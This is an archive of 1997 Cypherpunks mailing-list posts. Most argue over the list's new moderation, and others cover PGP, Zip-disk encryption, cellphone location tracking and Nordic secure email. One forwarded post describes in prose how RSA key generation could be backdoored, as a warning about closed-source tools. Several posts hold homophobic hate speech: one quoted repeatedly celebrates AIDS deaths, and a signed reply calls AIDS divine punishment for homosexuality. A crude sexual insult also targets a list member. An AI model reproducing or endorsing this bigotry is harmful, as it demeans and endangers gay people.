there played with Zip drive/disk internals and know how it works?

dave




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Fri, 24 Jan 1997 11:57:27 -0800 (PST)
To: Anonymous <nobody@REPLAY.COM>
Subject: Re: Sandy dumps Igor but allows KOTM
In-Reply-To: <199701241711.SAA28269@basement.replay.com>
Message-ID: <32E92D85.7A3@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Anonymous wrote:
> 
> Face it, it's a bad idea. The Cypherpunks community is not the private
> sandbox of Gilmour and Sandfort

  Yes it is. The fact that they are able to tell others when and how
they will be moderated or censored makes it so.

> The list may currently be hosted on
> Gilmour's computer, but having Sandy decide what's right for us to read is
> inconsistent with Cypherpunks ideals.

  So what is your point?  The moderation process has little to do with
rights or ideals. Now that the WWW is making the InterNet a money-making
entity, rights and ideals will play a decreasingly important role in 
decisions regarding its use and the censorship thereof.
  Also, since John is becoming an increasingly important political
entity in the InterNet community, I am sure that it is very important
to him to be able to control the direction of his private list (and
to use the age-old political device of having a 'front man' to take
the 'heat' for his decisions).
  It is not the first time in history that fame and fortune (or even
the smell of it in the wind) has led to 'rights' and 'ideals' needing
a small bit of 'adjustment'.

Toto





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Fri, 24 Jan 1997 12:26:14 -0800 (PST)
To: "David E. Smith" <dsmith@prairienet.org>
Subject: Re: Encrypting ZIP disks
In-Reply-To: <3.0.32.19970124132442.006b1fc4@midwest.net>
Message-ID: <32E933F4.45CE@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


David E. Smith wrote:
> I'm playing with SecureDrive; the problem is not with using it
> with a Zip disk so much as it is trying to get it to play nice
> with Windows 95.
 
> Iomega hasn't been willing to tell me how the password is stored,
> so this looks like a big boiling pot of snake oil.  Anyone out
> there played with Zip drive/disk internals and know how it works?
> 
Dave,
  I came across a 'cracker' program that claims to be able to
hack the SecureDrive encryption system.
  Off the top of my head, I think it was called ZipCracker, or 
something similar in name to one of the PKZip encryption
cracking programs.  I found it on one of the hacker websites,
and there was a text file regarding SecureDrive which went
into some detail re: both the hardware and software aspects
of the Zip drives and the encryption itself.

Toto





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Brett Carswell <brettc@tritro.com.au>
Date: Thu, 23 Jan 1997 20:32:44 -0800 (PST)
To: "cypherpunks@toad.com>
Subject: RE: No Dimitri??
Message-ID: <c=AU%a=_%p=Tritronics_.Aust%l=TRI_NT5-970124043228Z-78@nt09.tritro.com.au>
MIME-Version: 1.0
Content-Type: text/plain


>drose@azstarnet.com writes:
>
>> William H. Geiger III wrote:
>>
>> >I have noticed that there has not been any post from Dimitri in a couple
>>of
>> >days.
>>
>> Yup. Ditto Tim May.  Fair trade?
>
>It's all part of Dr Dimitri's social experiment. Create two personalities who
>appear to hate each other but are the same person. Watch out for the upcoming
>series....
>
Dimitri L[abia] Vulis styles his facial hair to look more like pubic
hair.

    o     o
 --/--   <~\ Dimitri L[abia] Vulis
 __\    _/\
    \     /
>
>




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Genocide <gen2600@aracnet.com>
Date: Fri, 24 Jan 1997 14:34:04 -0800 (PST)
To: fuck you <satan_is_a_hacker@juno.com>
Subject: Re: your mail
In-Reply-To: <199701241555.HAA27672@toad.com>
Message-ID: <Pine.LNX.3.95.970124143730.10499A-100000@shelob.aracnet.com>
MIME-Version: 1.0
Content-Type: text/plain


On Fri, 24 Jan 1997, fuck you wrote:

> Are their any H/ P/ V/ A/ C ers   on this list??

	Yes.

Genocide
Head of the Genocide2600 Group


============================================================================
		   **Coming soon! www.Genocide2600.com!
         ____________________
  *---===|                  |===---*
  *---===|     Genocide     |===---*     "You can be a king or a street
  *---===|       2600       |===---*   sweeper, but everyone dances with the
  *---===|__________________|===---*              Grim Reaper."
                                       
Email:  gen2600@aracnet.com	Web:  http://www.aracnet.com/~gen2600

^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
	It is by caffeine alone that I set my mind in motion.
	It is by the Mountain Dew that the thoughts acquire speed,
	the lips acquire stains, the stains become a warning.
	It is by caffeine alone that I set my mind in motion.
================================================================================






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Mullen, Patrick" <MullenP@ndhm06.ndhm.gtegsc.com>
Date: Fri, 24 Jan 1997 12:39:43 -0800 (PST)
To: "'ichudov@algebra.com>
Subject: RE: Rejection policy of the Cypherpunks maiing list
Message-ID: <c=US%a=_%p=GTE%l=NDHM06-970124204001Z-72578@ndhm06.ndhm.gtegsc.com>
MIME-Version: 1.0
Content-Type: text/plain


Igor sez:
>Sandy also states rather plainly that crypto-relevance is not the
>criterion by which he moderates this list. I question this policy.

I question this, too.  What, exactly, is the criterion?

Cypherpunks charter sez:
The cypherpunks list is a forum for discussing personal defenses for
privacy in the digital domain.  

<Keep in mind I didn't read the described article> How does personal
attacks
through forged and anonymous mail not fit this topic?

However, I _do_ have to say such a topic would have to keep with a 
descriptive attitude, rather than demonstrative...  :-)

On another note, even though some messages which may be of interest may
get lost in the shuffle, I do like the reduced volume, esp. since I get
listmail
at work.  Unfortunately, the reduced mail is a result of censorship...
:-(

~ Patrick


>----------
>From: 	ichudov@algebra.com[SMTP:ichudov@algebra.com]
>Sent: 	Friday, January 24, 1997 2:33 AM
>To: 	Cypherpunks
>Subject: 	Rejection policy of the Cypherpunks maiing list
>
>I would like to start a thread to discuss the moderation and rejection 
>policy.
>
>My perfectly crypto-relevant article regarding possible attacks
>on human relationships with the use of forged mail and anonymous
>remailers, has been tossed out (sorted) into cypherpunks-flames 
>mailing list.
>
>You can receive a copy of my article by an email request.
>
>The explanation that Sandy Sandfort gave me mentioned that he rejected
>my message because it continued a thread where Sandy noticed instances
>of "flaming". Note that my message was free of any flames, including
>its quoted part.
>
>Sandy also states rather plainly that crypto-relevance is not the
>criterion by which he moderates this list. I question this policy.
>
>I would like to hear your opinions as to whether such policies satisfy
>the current readership.
>
>	- Igor.
>
>




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ISP-TV Main Contact <isptv@access.digex.net>isptv@access.digex.net
Date: Fri, 24 Jan 1997 13:16:56 -0800 (PST)
Subject: CPSR President Aki Namioka Interviewed on "Real Time" Monday
Message-ID: <199701242115.QAA10544@access5.digex.net>
MIME-Version: 1.0
Content-Type: text/plain


*** ISP-TV Program Announcement: 

	CPSR President Aki Namioka
	Interviewed on "Real Time"
***

***  Monday, Jan. 27  ***
*** 9 PM ET / 6 PM PT ***

Aki Namioka is President of the Computer Professionals for Social
Responsibility (CPSR), a non-profit, public-interest group which advocates
for civil rights with respect to electronic information.  Netizens may
remember Namioka's speech against the CDA at Seattle's "Internet Day of
Protest" Rally. 

We'll ask Ms. Namioka about the history of the CPSR, and current issues
CPSR follows in cyber rights, civil liberties, and technology education. 
 
She will be interviewed remotely over CU-SeeMe from the Speakeasy Cafe in
Seattle, Washington (http://www.speakeasy.org/).

Call-in questions will be taken during the show at (301) 847-6571. 

****

This video interview can be viewed on the ISP-TV main CU-SeeMe reflector
at IP 205.197.248.54, or other ISP-TV affiliate reflectors listed at
http://www.digex.net/isptv/members.html. 

See URL http://www.digex.net/isptv for more information about the ISP-TV
Network

To get email about future programming on ISP-TV, email the word
"subscribe" to isptv-prog-request@isptv.digex.net. 

To obtain Enhanced CU-SeeMe software, go to:

	http://goliath.wpine.com/cudownload.htm






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Cynthia H. Brown" <cynthb@sonetis.com>
Date: Fri, 24 Jan 1997 13:29:39 -0800 (PST)
To: Toto <toto@sk.sympatico.ca>
Subject: Re: Rejection policy of the Cypherpunks maiing list
In-Reply-To: <32E8B499.27B5@sk.sympatico.ca>
Message-ID: <Pine.BSD/.3.91.970124155053.1402A-100000@mrburns.iosphere.net>
MIME-Version: 1.0
Content-Type: text/plain


On Fri, 24 Jan 1997, Toto wrote:

> Igor Chudov @ home wrote:

<snip>

> > The explanation that Sandy Sandfort gave me mentioned that he rejected
> > my message because it continued a thread where Sandy noticed instances
> > of "flaming". Note that my message was free of any flames, including
> > its quoted part.
> 
>   The standard of what constitutes a 'flame' seems to rest very much
> upon whom a comment is directed at, or merely 'vaguely toward'.  


Beauty, flames and censorship are all in the eyes of the beholder.  
However, by providing both "raw" and "cooked" versions of the list, Sandy 
is allowing readers to choose for themselves whether or not they want 
someone else's filters applied to their mailbox.  Personally, I choose to 
press the "Delete" key myself.

<snip>

> > Sandy also states rather plainly that crypto-relevance is not the
> > criterion by which he moderates this list.
> 
>   This was more than obvious to anyone who cared to cast an objective
> eye on the process, but their input was pooh-paah'd by the 'washed 
> masses'.

Note that Sandy also stated that the post in question would not be sent to 
the 'washed masses'.

> > I would like to hear your opinions as to whether such policies satisfy
> > the current readership.
> 
>   Like all of the 'opinions' that were expressed prior to the censorship
> of the list? I haven't seen any indication that these opinions were 
> given the slightest consideration.  This is not the readership's list.
> It is a private individual's list.

Agreed, and said private individual can do as s/he sees fit.  My only
objection is that the moderated version has the same name as the original
list (sounds like Rogers Cable's recent attempt at "Costs More Unless You 
Speak Up Now" channels).

<snip>

>   In short, I don't see the moderation as being 'fair', and I don't
> think it was ever meant to be.

Again, fairness is in the eyes of the beholder.  I don't object to the 
list being filtered, as long as everyone understands that this is 
happening.


What will happen, I wonder, if at the end of the trial period the number
of subscribers to the "raw" list outnumbers those who get the "cooked"
list, or vice versa?  Is that one of the criteria for determining the
"success" of the experiment? 

Cynthia

===============================================================
Cynthia H. Brown, P.Eng.
Ottawa, Ontario, Canada
E-mail:     cynthb@sonetis.com
Home Page:  http://www.sonetis.com/~cynthb/
PGP Key:    See Home Page
Junk mail will be ignored in the order in which it is received.

        Klein bottle for rent; enquire within.








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: aaron@herringn.com
Date: Fri, 24 Jan 1997 16:35:32 -0800 (PST)
To: cypherpunks@toad.com
Subject: Cellular location...
In-Reply-To: <199701242243.OAA10355@toad.com>
Message-ID: <l03010d01af0f04e22612@[204.57.198.5]>
MIME-Version: 1.0
Content-Type: text/plain


Presented in a "this will help 911" context. Still disconcerting.

[...]
Companies working on the technology to track cellular phone calls
have been given additional incentive with a Federal Communications
Commission order that all cell phone service companies have location
programs in place by the year 2001.
[...]

http://cnn.com/US/9701/22/911.rescue/index.html






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: frogfarm@yakko.cs.wmich.edu (Damaged Justice)
Date: Fri, 24 Jan 1997 14:44:49 -0800 (PST)
To: frogfarm@yakko.cs.wmich.edu
Subject: (fwd) Re: PGP implementation source code
Message-ID: <199701242244.RAA28907@yakko.cs.wmich.edu>
MIME-Version: 1.0
Content-Type: text/plain


[The discussion started with Pretty Safe Mail, the recent "PGP-compatible"
Mac program, and whether or not it was safe. Source code is not available.
Some authors noted that PSM was much slower than PGP, but so far lives up
to its promise of user-friendliness. A Win95 version is in the works.]

>From: Ian_Miller@bifroest.demon.co.uk (Ian Miller)
Newsgroups: comp.security.pgp.discuss,comp.security.pgp.resources
Subject: Re: PGP implementation source code (was "Imminent Death of PGP?" revisited)
Date: Fri, 24 Jan 1997 19:55:46 +0000
Lines: 66
Message-ID: <AF0EC44296683DACD@bifroest.demon.co.uk>

In article <5c2kap$1tu@topcat.uk.gdscorp.com>,
Steve Gilham <steveg@uk.gdscorp.com> wrote:

>PGP defines, but, IIRC does not inspect, a comment packet type.  This
>packet type could be added to a .pgp file and contain anything the
>implementor  wished (your plaintext secret key if it has been used in
>this instance of the program, any IDEA key used, your passphrase, if
>given) without any standard PGP implementation being aware of it 

The IDEA initialisation vector could also be used as a subliminal channel,
it is only 8 bytes but it could (for example) leak a random 60 bits of one
prime in your secret key with the remain 4 bits saying which set of 60
bits. 

Worse is the possibility that the program could put a back door into RSA
key generation to make the modulus trivially factorisable by someone in the
know.  There are a number of mechanisms for this of varying detectability
up to detectable only by reverse-engineering.
Here are some of the (endless) possibilities in order of increasing
sophistication:-
1) Make one of the primes a constant.  Factorise by dividing by this
number.  Detectable by inspection of public keys alone.  (For more details,
see my article "There are no common factors in the Public keyring", 13th
Jan in comp.security.pgp.announce.)

2) Select the first prime P at random but make second prime Q the smallest
prime larger than PK where K is a constant.  Factorise by searching from
root(N/K).  Probably detectable by suitable inspection of several secret
keys generated by the product, but (I think) undetectable from public keys
alone.

3) Select a random seed and using a good PRNG, make the rest of generation
process deterministic based on the seed.  Use the "deadbeef" technique to
select a modulus that has this seed as its least significant bytes. 
Factorise by extracting the seed from the modulus and repeating the
deterministic key generation.  This is detectable only by reverse
engineering.

4) Select a random seed and use a short key PKE key exchange system (e.g.
Elliptic curve) to generate a session key and a key exchange cyphertext. 
Use a key generation similar to (3) except that you seed the PRNG with the
session key and deadbeef to make a key ending in the key exchange
cyphertext.  
Factorise by extracting and decrypting the session key (requires a secret
key), and repeating the key generation.  Again this is only detectable by
reverse engineering, but even after executing the reverse engineering you
still cannot factor the keys generated because the program only contains
the public key not the secret key.

Method (4) is an interesting example of a "locked back-door".  There is
often an unstated assumption that back-doors have to be open.  i.e. If you
can find them you can get in.  It isn't always true.  Whereas it seems
intuitively unlikely, it is not inconceivable that there is a way of
putting a locked back-door into some forms of Feistel ciphers.  The NSA
would have been reluctant to put an open back-door into DES, but they would
not have hesitated to put in a locked back-door.  In my opinion the only
safe assumption is that they could and they did.

In cryptography you shouldn't trust your intuition, code with source or
unexplained algorithm components.

Ian

Ian_Miller@bifroest.demon.co.uk    FAI-D10204
PGP key 1024/FCE97719 FP: 2A 20 46 10 E5 96 27 40  91 B1 95 BA CA D3 BC 14
Antworten auf Deutsch waeren mir angenehm.

-- 
http://yakko.cs.wmich.edu/~frogfarm  ...for the best in unapproved information
Tell your friends 'n neighbors you read this on the evil pornographic Internet
"Where one burns books, one will also burn people eventually." -Heinrich Heine
People and books aren't for burning. No more Alexandrias, Auschwitzs or Wacos.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Fri, 24 Jan 1997 10:07:57 -0800 (PST)
To: cypherpunks@toad.com
Subject: Sandy dumps Igor but allows KOTM
Message-ID: <199701241711.SAA28269@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain




Sandy Sandfort, our Leader, Moderator, Guidance Counselor, Censor,  and
Speaker-to-Gilmour said:

"By the way, contrary to what Dimitri has alleged, I have posted
every message from him in which he was able to restrain himself
with regard to gratuitous insults and/or spam.  In other words,
the set of Dimitri posts that have appeared on the moderated list
is not the null set."

However, KOTM wrote:

"Anything?  My good friend TRRCJ3 reports from San Francisco that the
city is much nicer now that so many homosexuals are 6 feet under.

"Thank God for AIDS."

(end quote from KOTM)

Nice to know Sandy is doing such an efficient job of moderating out the
"flames," such as by kicking Igor's crypto-relevant article on denial of
service attacks to the flame bucket while bending over backwards to appear
to be "fair" to KOTM.

Face it, it's a bad idea. The Cypherpunks community is not the private
sandbox of Gilmour and Sandfort, and we don't need Sandy's "guidance" to
keep us from being straying sheep. The list may currently be hosted on
Gilmour's computer, but having Sandy decide what's right for us to read is
inconsistent with Cypherpunks ideals. 

GenX


--




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@einstein.ssz.com>
Date: Fri, 24 Jan 1997 16:04:12 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Homo/bi/sexuals Most Destructive (fwd)
Message-ID: <199701250011.SAA14159@einstein>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Fri, 24 Jan 97 21:33:41 +0000
> From: "Attila T. Hun" <attila@primenet.com>
> Subject: Re: Homo/bi/sexuals Most Destructive

Much drivel about AIDS deleted.

>         One of the saddest commentaries on the entire problem is the 
>     man, a Pan-American flight steward, who was identified as carrier 
>     #1 by the Communicable Disease Center (CDC) in Atlanta; he died 

The correct term is 'Patient 0'.

                                                 Jim Choate
                                                 CyberTects
                                                 ravage@ssz.com






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: frogfarm@yakko.cs.wmich.edu (Damaged Justice)
Date: Fri, 24 Jan 1997 15:20:37 -0800 (PST)
To: cypherpunks@toad.com
Subject: (fwd) New keyserver available
Message-ID: <199701242320.SAA29771@yakko.cs.wmich.edu>
MIME-Version: 1.0
Content-Type: text/plain


>From: tage@cc.uit.no (Tage Stabell-Kulo)
Newsgroups: comp.security.pgp.tech
Subject: New keyserver available
Date: 24 Jan 1997 16:11:26 GMT
Lines: 12
Message-ID: <5camve$3d4@news.uit.no>


A new PGP keyserver, still _very_ experimental, is available at
host dslab1.cs.uit.no at port 24162, use telnet(1).  In general it will 
find a key in a few seconds.  Your comments and suggestions are
solicited.


--
////        Tage Stabell-Kuloe         | e-mail: Tage@ACM.org          ////
/// Department of Computer Science/IMR | Phone : +47-776-44032         ///
// 9037  University of Tromsoe, Norway | Fax   : +47-776-44580         //
/       "'oe' is '\o' in TeX"          | URL:http://www.cs.uit.no/~tage/

-- 
http://yakko.cs.wmich.edu/~frogfarm ...for the best in unapproved information
"We think people like seeing somebody in a uniform on the porch."  -US Postal
spokeswoman, quoted in AP, 1/27/96. I don't know about you, but most people I
know who saw someone in uniform on their porch would pull out the shotgun...





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: azur@netcom.com (Steve Schear)
Date: Fri, 24 Jan 1997 18:25:27 -0800 (PST)
To: "Attila T. Hun" <attila@primenet.com>
Subject: Re: greed and the internet
Message-ID: <v02140b00af0d4dfc5cda@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain


>        The Internet will no no longer be the peoples net, and the
>    commercial greedies are establishing a faster, more secure
>    network with controlled access points; leaving the common man's
>    access in the mud, still paying the exorbitant rates on a pay
>    before play basis.  That, and it gives control of information to
>    the government --which, as we all know. is 'heavenly white'
>    -above sin.
>

Rather than being forced by pressures from the market, smaller ISPs appear
to be holding their own and in many cases thriving.  A significant number
of them have begun to form their own cooperatives to operate mini-NAPs,
mosty to aggregate local traffic and reduce unnecessary traffic to the
NAPs.  It isn't too far a stretch to envision that should this practive
become commonplace, these smaller ISPs could band together to create their
own Net overlay, bypassing the NAPs. This trend could spell trouble for
gov't agencies expecting to monitor Net traffic from only a few convenient
locations (i.e., NAPs).

--Steve






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Hugh Daniel <hugh@ecotone.toad.com>
Date: Fri, 24 Jan 1997 18:33:22 -0800 (PST)
To: cypherpunks@toad.com
Subject: Scandinavian Goverments provide PGP to postal customers...
Message-ID: <199701250229.SAA13141@ecotone.toad.com>
MIME-Version: 1.0
Content-Type: text/plain


  FYI:
>From: jsp@betz.biostr.washington.edu
>Sent: 	Friday, January 24, 1997 2:31 PM
>Subject: 	Meanwhile, back in the Free World...
>
>
>Encrypted Email For Finns, Swedes, Danes
>    by Sami Kuusela
>
>    4:43 pm PST 23 Jan 97 - While keeping a watchful eye on the emerging
>    American encryption policy, Scandinavian countries are embarking
>    on a joint project to implement the first international email security
>    service.
>
>    Nordic Post Security Service (NPSS) - involving Finland, Norway,
>    Sweden, and Denmark - hopes to provide secure email, and
>    officials say that soon every Nordic citizen can walk into the
>    nearest post office and sign up for it.
>
>    But no matter the success of the secure email system, the NPSS
>    project is a clear sign that, unlike the United States, Northern
>    Europe is moving forward with exporting encryption technology
>    across national barriers.
>
>    "Finnish policy has not been to start with regulations and fear of
>    Net issues," says Anu Lamberg, the head of the Information
>    Network Unit in the Finnish Ministry of Transport and
>    Communications. "The American discussion on this matter has
>    been funny to watch, but I hope nobody in Europe or Finland starts
>    to question the very basics of democracy."
>
>    Based on PGP, with no "third-party" key holder, the Nordic system
>    uses unbreakable RSA-algorithm encryption with a 1024-bit key.
>
>    However, some hardware is required. Because the key is on a
>    smartcard, users must have smartcard readers installed on their
>    computers, which aren't yet widely available. But Pdr Andler of
>    Finnish Hewlett Packard says that later this year, smartcard readers
>    will become standard on computers in Scandinavia. "It is a really
>    big help for users, who don't have to remember dozens of
>    passwords when using different kind of services," Andler says.
>
>    The project has been moderately successful in Finland - the first
>    Nordic country to offer the secure email - as the system isn't any
>    more difficult to use than a standard email program. All the user
>    has to do is click "send."
>
>    For project developers, using strong crypto was never an issue.
>    "From the very beginning we've been basing this on strong crypto,"
>    says Vesa-Pekka Moilanen, technical director for Finland Post, and
>    mastermind of the email project. "At first, the customers are going
>    to be mainly professionals," he says, "but quite soon private
>    individuals will start using it." But the use of secure email probably
>    won't be widespread until 1998 - if then.
>
>    "If strong crypto is banned it's going to have major effects on the
>    development of information society," says Risto Siilasmaa, the
>    CEO and president of DataFellows, one of the only makers of
>    encryption programs in Finland. The Finnish government awarded
>    DataFellows "most innovative company" honors in 1996. "But
>    nobody is going to limit strong crypto. I haven't met a single
>    leading Nordic official who says otherwise."
>
>    One question, though: What if a Nordic citizen enters the United
>    States with the email program installed on his or her laptop? For
>    now, Nordic officials are only beginning to contemplate the
>    ramifications.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: tekmasta@global.california.com
Date: Fri, 24 Jan 1997 18:52:48 -0800 (PST)
To: Genocide <gen2600@aracnet.com>
Subject: Re: your mail
Message-ID: <2.2.32.19970125025428.00687400@global.california.com>
MIME-Version: 1.0
Content-Type: text/plain


At 02:37 PM 1/24/97 -0800, you wrote:
>On Fri, 24 Jan 1997, fuck you wrote:
>
>> Are their any H/ P/ V/ A/ C ers   on this list??
>
>	Yes.
>
>Genocide
>Head of the Genocide2600 Group
>
>
>============================================================================
>		   **Coming soon! www.Genocide2600.com!
>         ____________________
>  *---===|                  |===---*
>  *---===|     Genocide     |===---*     "You can be a king or a street
>  *---===|       2600       |===---*   sweeper, but everyone dances with the
>  *---===|__________________|===---*              Grim Reaper."
>                                       
>Email:  gen2600@aracnet.com	Web:  http://www.aracnet.com/~gen2600
>
>^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
>	It is by caffeine alone that I set my mind in motion.
>	It is by the Mountain Dew that the thoughts acquire speed,
>	the lips acquire stains, the stains become a warning.
>	It is by caffeine alone that I set my mind in motion.
>===========================================================================
=====

try my site too http://gcwp.com/fadedimage

can anyone help me out with getting pgp working... I just got 2.6.2
excutable the freeware one and its for dos... I need to get one that works
with eudora or netscape.... please help!
        ,_    ,.    .`.---  . ,-,-,-.     ,---.      .---.
        |_   / |  ,-| |__ ,-|.`,| | |  ,-.|  -' ,-.,'\___
        |   /~~|-.| |,|   | ||  | ; | .,-||  ,-'|-'      \
        | ,'   `-'`-'`^---`-''  '   `-'`-^`---| `-'  `---'
        '                                  ,-.|
                                           `-+'
 ,-.  .       .,-.  .       .                       . ,-_/,.,--.
   |  |  ,-.,-|  |  |  ,-.,-|,-.,-.,-.,-.,-.. .,-.,-| ' |_|/|  |
   |  | .| || |  |  | .| || ||-'|  | ||  | || || || |  /| | | \|
   `--^-'' '`-'  `--^-'' '`-'`-''  `-|'  `-'`-'' '`-'  `' `'`--\
                                    ,|
                                    `'
                -= http://gcwp.com/fadedimage =-                





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@primenet.com>
Date: Fri, 24 Jan 1997 12:19:51 -0800 (PST)
To: cypherpunks <dlv@bwalk.dm.com>
Subject: Re: Homosexuals
In-Reply-To: <199701241414.GAA25350@toad.com>
Message-ID: <199701242019.NAA20386@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

In <199701241414.GAA25350@toad.com>, on 01/24/97 
   at 07:17 AM, "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com> said:

+Anything?  My good friend TRRCJ3 reports from San Francisco that the
+city is much nicer now that so many homosexuals are 6 feet under.

+Thank God for AIDS.

        when AIDS was relatively obscure, I always dismissed AIDS as 
    God's response to homosexuality (and other crimes against nature); 
    i.e. -settlement by a just God.  

        Unfortunately, some of these boy-girls could not keep it among 
    themselves, and the closet queens brought it home.  AIDS replicates     
    asexually, knowing no boundaries.

        I would not wish the disease upon anyone, but if you play, you 
    just might pay --as in "...reap what thy hath sown."  

        One of the saddest commentaries on the entire problem is the 
    man, a Pan-American flight steward, who was identified as carrier 
    #1 by the Communicable Disease Center (CDC) in Atlanta; he died 
    protesting he did not have the disease, nor was he a carrier. The 
    flight steward was still sexually active until his impending death 
    removed even his ability to passively participate. Unfortunately, 
    he was not only in total denial as to the disease and its 
    communicability, but he was also immensely profligate, having 
    surrendered to total licentiousnous.

        To be strongly opposed to homosexuality has nothing to do with 
    bigotry, political correctness, or aberrationist apologists; it is
    an exposition of the natural order among the species.

        and for those who deny God, read Darwin as to the relative 
    rate of survival for deviant and/or abnormal species. 

  ==
  "eschewing my enmity is exemplary,
    even transcending my fraternity.
        --attila

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: Encrypted with 2.6.3i. Requires 2.6 or later.

iQCVAwUBMukZO704kQrCC2kFAQHdVgP+K5WJPhgPDY3DJerIYHmz4PbsItrSQCF0
eoS2wyYVTG3PZ5YDhk+dRfn2OuhEE0n/vLiDlXakAjqQBtncyIF74pfE4mxn3DWC
1xLMJr9vFI7x0soX6sPIzSD9Yh0CyKHIk75r/RQk2T4doVoGSxJWbe0YKCItiGz4
PvH9hGh6F7E=
=A2up
-----END PGP SIGNATURE-----






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 24 Jan 1997 16:40:28 -0800 (PST)
To: cypherpunks@toad.com
Subject: Homosexuality
In-Reply-To: <199701241612.IAA28256@toad.com>
Message-ID: <eu921D16w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Lou Zer <satan_is_a_hacker@juno.com> writes:

> Does any one know of any other good mailing Lists either with crypto or
> anything underground

Perhaps we should start an unmoderated list and call it "cypherpunks".
Or create alt.cypherpunks.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 24 Jan 1997 16:43:18 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Airport security [no such thing]
In-Reply-To: <199701241359.FAA24956@toad.com>
Message-ID: <3D021D18w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Sandy Sandfort <sandfort@crl9.crl.com> writes:

> ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
>                           SANDY SANDFORT
>  . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
>
> C'punks,
...
> By the way number two, this response will be posted to the flames
> list and NOT the moderated list.  Even though I have not flamed
> anyone, two things keep it off the moderated list:  (1) my policy
> about keeping thread on the same list where possible (see above),
> and (2) basic precepts of fairness.

Sandy lied - he posted this aritcle to BOTH cypherpunks-flames and
the censored list.  Does anyone else enjoy the privilege of posting
their articles to BOTH lists?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Sat, 25 Jan 1997 01:58:47 -0800 (PST)
To: ichudov@algebra.com
Subject: Re: Rejection policy of the Cypherpunks mailing list
Message-ID: <854185258.62147.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain



> I would like to start a thread to discuss the moderation and rejection 
> policy.

No doubt we all would but such threads may, without recourse to proper 
moderation, all be thrown into cypherpunks-flames if Sandy believes
they will be critical of him. (prove me wrong Sandy, send this to the 
moderated list).
 
> My perfectly crypto-relevant article regarding possible attacks
> on human relationships with the use of forged mail and anonymous
> remailers, has been tossed out (sorted) into cypherpunks-flames 
> mailing list.

I don`t think I read the article (even though I subscribe to the 
unmoderated list), can you forward me a copy.
As I understand it though, from other comentaries, it was junked 
because it was in response to a message by Dimitri who, given that it 
is Sandy that is moderating the list, is no doubt filtered by 
different criteria than anyone else on the list, in my opinion a 
censorous and fascist restraint as Dimitri has recently been posting 
more crypto relevant material, besides which whatever the content of 
his posts they should be open to review before a decision is made on 
if they are to be junked or not.
 
> Sandy also states rather plainly that crypto-relevance is not the
> criterion by which he moderates this list. I question this policy.

Yes Sandy, please enlighten us, what is the criterion you use to 
moderate the list if not crypto-relevancy. I suspect an element of 
self preservation and protection of the list fuhrer and diktat maker 
John Gilmore (who, until the disgraceful incident with Dimitri 
commanded some respect on this list).
 
> I would like to hear your opinions as to whether such policies satisfy
> the current readership.

I don`t think this is the point, John Gilmore is free to appoint 
whoever he wants to moderate his list, he is free to censor all 
messages which criticise him and his censorship, however, subscribers 
to the list should be told they are being censored on these grounds 
and not on some facade of "crypto relevancy" or another thin veil 
drawn weakly over content based censorship to protect a certain class 
of list members.


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
